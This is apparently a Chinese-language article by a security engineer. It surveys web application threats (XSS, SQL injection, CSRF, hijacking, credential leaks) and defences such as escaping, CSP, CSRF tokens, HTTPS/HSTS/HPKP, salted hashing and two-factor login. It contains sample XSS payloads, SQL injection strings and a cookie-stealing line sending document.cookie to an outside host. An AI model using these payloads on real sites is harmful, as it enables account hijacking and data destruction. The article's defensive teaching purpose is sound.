互联网安全威胁及应对方案

时间:2022-05-06
本文章向大家介绍互联网安全威胁及应对方案,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

作者:蒋海滔,阿里巴巴国际事业部,高级技术专家,爱好Java/JavaScript,长期关注高性能、并发编程以及Web安全。

来自:高可用架构(ID:ArchNotes)

一,互联网web应用面临的主要威胁

1. XSS

跨站脚本攻击(Cross Site Scripting), 即A站点的网页想办法跑到B站点上。 因为我们的网页都是javascript驱动的,所以js拥有非常大的权力。

XSS 可以大概分为三类(注意这三类不是排斥的), DomXSS, 反射型XSS和存储型XSS。

首先Dom型XSS是指js脚本引起的XSS,通常来说由innerHTML、eval等引起, 对于innerHTML ,如代码

document.getElementById("id").innerHTML = "Hello, <b>" + name + "</b>",

这里就有一个潜在的XSS问题,因为name你不知道里面是什么,如name = "< img src=x onerror=alert(1)>" 。 那么就是一个XSS漏洞,通常来说我们一般用alert,prompt等函数测试,这个我们叫PoC,即漏洞证明 , 所以当在一个页面看到alert的时候就要小心了。

那XSS能做什么呢? 我们看一段代码:

new Image().src = "  http://ha.cker.club/collectcookie.do   ?c=" + encodeURIComponent(document.cookie);

这段代码很简短,就是把用户的cookie用URI编码转义后发到远程服务器。 这表示有可能用户账号被盗。 JSON.parse在比较新的浏览器才被支持,所以很多前端喜欢用 eval("(" + json + ")") 的方式解释JSON , 所以这里的eval也会导致XSS漏洞,需要特别注意! 除了这个还有 setTimeout、setInterval 等。

所以XSS带来的危害是非常大的,因为XSS可以在你的电脑开一个远程的HTTP隧道,可以 被用来扫描内网。一般用XHR或WebSocket来扫描, 有点像nmap。

其次介绍反射型XSS, 反射型XSS就是将参数上的数据直接展示在页面中, 如url https://example.com?username=<img/src/onerror=alert(1)&gt ; 当参数中的url在面页中展示时即构成一个反射型XSS。 这一类漏洞危害相对小一点,但也要引起重视。

最后一类是存储型XSS,这类特别严重, 即你打开一个页面时已经被XSS了。一般分两种:

  • 一种是服务器端的数据被XSS,即打开页面就被X了
  • 另一种是客户端,如flash 的local share object 或H5的localstorage, 这里要特别注意,要小心使用flash! 我曾在 www.baidu.com 首页找到过一个flash的XSS漏洞,当然已经通知修改了,但这个漏洞可以引起很严重的信息泄露!

2.SQL注入

SQL注入大家应该不陌生,如 String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; 如果参数id中是 ; delete from user; ... 这样,你就悲剧了。 或者 or 1=1 这样,就会返回所有数据 。 SQL注入可以引起服务器端被入侵,我们知道MySQL支持在函数中执行服务器端代码,有点像nodejs中的eval一样。 还有就是可以被拖库,那 就悲剧了!

3.CSRF

CSRF是跨站请求伪造的意思, 比如,你的网站的logout是一个链接 https://example.com/doLogout.do 那么请示这个链接用户cookie就会被清空,用户就退出了, 如果你想办法把这个链接的请求放到用户不注意的地方,用户就会莫名其妙的退,当然这个危害比较小, 假如 https://example.com/transferMoney.do?from=hatter&to=somebody&amount=100000 , 如果这个请示只判断cookie就操作成功,就悲剧了!

因为我们知道,在任意一个网站,请求另外一个网站的请求是会带上cookie的,这也是cookie mapping的原理, 有兴趣可以google一下cookie mapping 做广告的同学再熟悉不过了。

还有一类,专业名词是 XSSI, 也可以归到CSRF, 这里讲的JSONP的问题,就是XSSI, 相信国内很多网站被点名了。

4.传输劫持

看过315晚会的同学都知道免费WiFi不安全, 我要告诉你不只免费WiFi不安全。收费的、有密码的或是某些电信运营商都不安全。

一般来说劫持有两种 , 一种是劫持DNS,比如114,还有就是有些路由器有CSRF漏洞,可以通过CSRF来设置你的DNS地址 。 一但你的DNS被修改后,你访问任何网站就悲剧了。 DNS污染就更别说了,比如某些政府...

还有一种就是路由器劫持。 免费WiFi就是这种,当然如果是运营商,就基本什么都能干了。 这一类有很成熟的软件来劫持。 一般安全测试用的代理软件,或前端用的Fiddler就是这一类软件。 当你是HTTP访问的时候你就什么都让别人知道了。 当然并不是说HTTPS就一定安全,这个后面会讲。

5. 账密泄露

看一下这个图,

出自http://mashable.com/2012/06/08/linkedin-stolen-passwords-list/ , 是linkedin泄露的密码中top的部分,

在国内也有很多账密泄露,大家应该也知道, 用户喜欢在不同网站使用同一密码。 而且有时候密码很简单,所以账号号被盗就很常见。 因为我们都是依靠账号密码验证用户,耐用账号通常是email 。

6.暴力破解

即黑客使用同一个账号试不同密码, 或同一个密码试不同账号, 通过社工库,即上面提到的那个账号密码泄露,可以破解很多账号。 通过这些账号,特别是邮箱,能够得到很多很多的信息。 典型的是有一次在wooyun中曝光的漫游某著名电商网站的内网就是这样的。 开发把账号密码泄露到github上了, 然后黑客就...

7.身份token窃取

在XSS中的例子已经介绍了案例, 即通过 document.cookie 得到用户的cookie, 而在web程序中都是通过cookie验证用户身份,也就是说cookie泄露就可能导致账号直接被黑客访问 。

二,威胁应对方案

1.XSS

对于XSS来说最好的办法就是转义! 但转义并不容易,因为转义有很多种方式,而且开发很容易忘掉, 目前的转义框架主要有 ESAPI 和 AntiXSS 。 一般来说需要转义几个比较危险的字符 & < > ' " / 。 在HTML中, & 转成 & 在URL中 &转成 %26 在JS中 &转成x26或u0026。 需要特别注意 ' " 的转义,在JS中需要转成 x u这种形式, 虽然按ECMA262规定,' "可以转成 ' " 。

但在HTML的属性中出现的时候这种转义很危险, 如果你去看ESAPI的提交纪录就会发现,他们原因也是这种转义,后来改成 x了, https://p.rogram.me/encode/ 这个是我用JS写的转义程序,可以学习UTF-16 UTF-8的转义逻辑。

在Java/JS中都是使用了UTF-16,所以String是变长的,这个需要特别注意,不然会可能乱码。 Unicode的第1版及以后的版本,字符在UTF-16中是两个“char”,在UTF-8中是4个字节 。

在URL中的转义,需要特别注意一点,对于JS(ECMA262)中定义的 encodeURI encodeURIComponent都是近UTF-8转义的。参看RFC3986,要求新的scheme都使用UTF-8转义,但是在目前的浏览器实现中,如果你的页面是GBK,那么这里有就三种转义方式:

  1. 首先 hostname,即域名部分是 punycode,
  2. 再次 path部分是UTF-8 ,
  3. 最后query部分是GBK。 补充一下hash部分也是UTF-8

但如果你的页面是UTF-8的,那么query部分也是UTF-8, 所以在非GBK的页面中使用encodeURICompoent转义query部分的值可能会有乱码,建议页面都使用UTF-8,而且GBK也不能表示emoji 。

还有一个innerHTML让人防不甚防,因为使用innerHTML可以让前端快速构建DOM,比较使用createElement方便多了,所以前端很喜欢innerHTML 。但innerHTML的危害很大,这里可以使用html净化的工具,这类工具很多,在IE中有一个toStaticHTML的函数,就是去掉HTML中的js代码,但在chrome/ff中没有这个函数。

这里我收集了一些相关的工具。 这个链接有效期是一年,有数字签名。 我比较推荐这个 https://github.com/hasegawayosuke/rickdom/, 这个工具的作者是 http://utf-8.jp/ ,是个日本人, 这里有使用演示 http://utf-8.jp/public/rickdom/。 如果你使用jQuery,就可以在jQuery的html函数中加入拦截,自动做净化, 但要求前端在innerHTML中不出现js 。

2. CSP

CSP是防止XSS的大招,由 W3C 的 webappsec WG(work group)制定的,目前发面的版本是CSP2,通http://caniuse.com/#feat=contentsecuritypolicy这个链接可以看到当前CSP的支持情况 。大家可以测试一下这个链接 https://hatter.in/testCSP2 不同的浏览器出来的alert数量不一样,最新的chrome不会弹alert! 。 IE也准备在Edge,就是logo特别难看的那个,支持CSP。这链接https://playsecurity.org/rawfile/introduce_to_csp.md 是作者整理了一个CSP的介绍,可以参看一下。

CSP有三种使用方式:

  1. 第一种,目前 github.com采 用次方式,禁止所有js inline , eval ,只能使用你指定的域名下的js,是最完美的一种方式;
  2. 第二种,使用nonce或jshash,目前airbnb是采用此方式,允许inline js, 但只允许指定的地方出现js或hash确定的js被执行;
  3. 第三种,目前facebook,gmail所采用的方式,这种策略禁止加载站外的js进来 。 也就防止cookie直接被偷到站外等恶劣情况 , 详细还需要自己再去看 。

有一些网站也会引用iframe,如果这个iframe是站外的就比较危险,你可以在iframe标签中使用sandbox来限制这个页面的行为CSP2中也引入了sandbox。

还有,上面介绍了一种反射型XSS,可以加这个X-XSS-Protection: 1; mode=block 来让浏览器阻止加载,但是,FF不支持,而且浏览器的XSS过滤器比较容易bypass,不过加上比不加上安全,可以防小白型黑客。

3. SQL注入

SQL注入的防范方法比较简单,就是不要让开发人员拼接SQL,使用参数绑定的方式。如果有自动发布流程的话,通代码白盒扫描的时候,卡发布。 还有,SQL注入和反射型XSS一样,还是有工具的, 比如阿里开源的 有SQL注入检测的工具 druid ,http://www.onexsoft.com/download这个中间件也有这样的功能, 这篇论文介绍了如何检测https://playsecurity.org/attachment/security/sql/Using_Parse_Tree_Validation_to_Prevent_SQL_Injection_Attacks.pdf, 大家可以参考一下。

4. CSRF Token检查

CSRF最重要的是CSRF token,一般来说这个token可以放到页面中或cookie中,然后在所有提交的请求中带上这个token,同时服务器端判断token是否一致,不一致则拒绝请求,这样黑客是无法猜到这个token的。

同时我们发现,CSRF的问题是第三方网站的请求,所以IETF有一个draft就是需要解决这个问题,增加了一个First-Party-Only属性, 参看文档 https://datatracker.ietf.org/doc/draft-west-first-party-cookies/ 。作者是google德国的员工 mike west, 同时他也是CSP的主要作者。 补充一下 First-Party-Only 还没有发布,而且当前chrome中实现的有bug!!!

注意原则上涉及用户信息的JSONP也必须检查csrf token, 然后,还需要注意! crossdomain.xml Fetch(CORS)这两个crossdomain.xml中如果设置为*就悲剧了,任意flash就可以访问你的网站。Fetch原名叫CORS,就是使用XHR来跨站访问数据,注意这里的Origin也不能设置为*

5. HTTPS

为了防止网站被劫持,我们需要配置HTTPS,HTTPS最早是netscape搞出来的, SSLv3还是他们搞的,这个版本比较老,问题也比较多。但禁止SSLv3会导致WindowsXP可能无法访问,因为默认的WinXP的IE是不打开TLSv1.0的。虽然这个版本的IE支持这个功能,需要在设置中打开,目前普遍认为SSLv3不安全,但我只发现 github.com禁止了SSLv3的访问。

那么问题来了,配置了HTTPS安全么? 答案当然是否的!

首先你需要部署一个没有已经漏洞的https软件,一般我们使用OpenSSL,心脏出血就是这个软件的著名 bug.目前互联网上还有使用这个bug的OpenSSL的版本。

然后,需要配置ciphers,使用

$ nmap —script ssl-enum-ciphers -p 443 hellosecurity.org

这个命令可以扫描一个网站支持哪些ciphers , 详细内容可以参看http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml 关于TLS的参数, 对于W3C,IETF的所有类型注册都在IANA。

我们也可以通过openssl来看HTTPS的配置,使用

$ echo | openssl s_client -showcerts -servername   playsecurity.org -connect   playsecurity.org :443

这个命令会链接到服务器,并打印具体信息出来

  • -showcerts会打印服务器端的详细证书信息
  • -servername是SNI,即发起TLS链接的时候带上域名

返回的第一部分是证书验证信息,这里需要特别注意的是,在配置证书的时候一定需要配置中间链证书,测试方式可以使用刚才的openssl命令或android的浏览器。android的浏览器不会下载中间链证书,也没有内置, 所以如果配置不全会打不开!

目前HTTPS也配置了,是不是就不会被劫持了?

其实很容易被劫持哦〜 。 比如,你打开 www.alipay.com的时候 一般用户不会在前面输出 https。那这样第一个请求就是http的,不是https的,这样就可以被劫持了。 一但被劫持了,黑客就可以改里面的信息,这时候就需要HSTS来帮忙,HSTS是告诉浏览器说,我这个域名(也可能包含子域名),加载的时候必须是HTTPS。这样就不会在第一次的时候被绕过,例如 www.alipay.com就有设置这个头, 参看标准 https://tools.ietf.org/html/rfc6797。

还有一种威胁就是不良CA 比如某国家CA机构(已经被google吊销证书) 。 那这时候怎么办呢? 我们有HPKP, 这个 github.com 也有配置

$ curl -I   https://github.com
Public-Key-Pins: max-age=300; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="JbQbUG5JMJUoI6brnx0x3vZF6jilxsapbXGVfjhN8Fg="; includeSubDomains  Strict-Transport-Security: max-age=31536000; ;

includeSubdomains;preload这两个头就是github的HSTS及HPKP,HPKP指定了几个hash值, 只要不在这几个hash值中就不会被信任, 那问题又来了,我第一次访问的网站就是不良CA的证书签的网站怎么办呢? 这个也有解决办法,https://hstspreload.appspot.com/ 参看这个链接。 chrome/safari/ff 是共享一个名单列表。 简单来说就是把一些信息hard coding到浏览器中,你只要用了这几个浏览器,第一次访问这些网站就天然是HTTPS的,不过HPKP不会内置,但内置可以内置中证书链中的某些证书,有兴趣的同学可以看一下上面的文件。

说了这么多,用一个网站可以测试HTTPS的配置, https://www.ssllabs.com/ssltest/analyze.html。如果你拿到A+ 就O了 看这个链接 https://scotthelme.co.uk/a-plus-rating-qualys-ssl-test/ 可以得到更多信息

6.加密存储

账密泄露的解决办法就是 加密存储,很多网站发生过密码泄露,是因为他们明文存放密码。这是一个很不好的习惯,简单使用Md5或SHA也都不是好习惯哦。关于密码保存建议使用 scrypt、 bcrypt 或PBKDF2 。注意每个用户都需要有不同的盐,和密码分开保存,这样即使泄露,黑客如果需要破解也是成本非常非常高的,这里需要注意,像scrypt这种算法,计算成本比较高,所以需要判断频率,因为可以用于DoS攻击, 同时可以参看这两个文档

Password Storage Cheat Sheet - https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet

Secure Password Storage - http://goo.gl/Spvzs

7.双因子检验

一般来说有几种方法 短信、 电话、 电子邮件、 硬件OTP、 软件OTP。 apple和google都支持,强烈建议大家打开 。

其中apple是自己实现的二次校验,可以通过短信或信任手机推送二次验证口令。 而google的是标准TOTP(https://tools.ietf.org/html/rfc6238) 。 核心算法是 Base32和HMAC_SHA算法。 Google有一个软件 https://github.com/google/google-authenticator 大家可以在市场中安装, 我也用go语言实现了这个算法 https://gist.github.com/jht5945/cf06c4d2102db56efc55 java版在标准中有, 可以通过二维码扫描 、 https://github.com/google/google-authenticator/wiki/Key-Uri-Format 这里是格式 。

目前 github facebook microsoft dropbox evernote都支持这种标准的TOTP。 当然国内也可以用洋葱啦〜 。ssh也可以支持到 https://github.com/ziyan/ssh-otp wordpress 、https://wordpress.org/plugins/two-factor-auth/ 。

8.无密码验证

很多安全问题是密码导致,无密码就出来了。FIDO就是这样的工具, FIDO主要支持UAF和U2F,其中U2F相当于U盾,UAF,主要是虹膜,扫脸、指纹等。洋葱实现的逻辑是UAF,但不清楚是不是按标准实现。 验证过程是challenge-response方式,这种目前最安全了。

9.身份Token保护

防止cookie被盗就是设置httponly了,设置了httponly后document.cookie就拿不到。 安全性就有一定提升, 还有就是把token绑定到机器上,这个IETF在写标准中 http://datatracker.ietf.org/wg/tokbind/documents/ , 目前HTTP Auth即401验证是 base64(username + ":" + password) 这样的方式, 极不安全,基于challenge-response的标准也在制定中 https://datatracker.ietf.org/doc/draft-yusef-httpauth-srp-scheme/ 。

对于401,目前chrome在加载subresource时是忽略401的,但ie, ff不会。所以安全性存在问题,特别是邮件系统,目前我也在想办法让subresource禁止401,推到CSP标准中,还需要点时间 。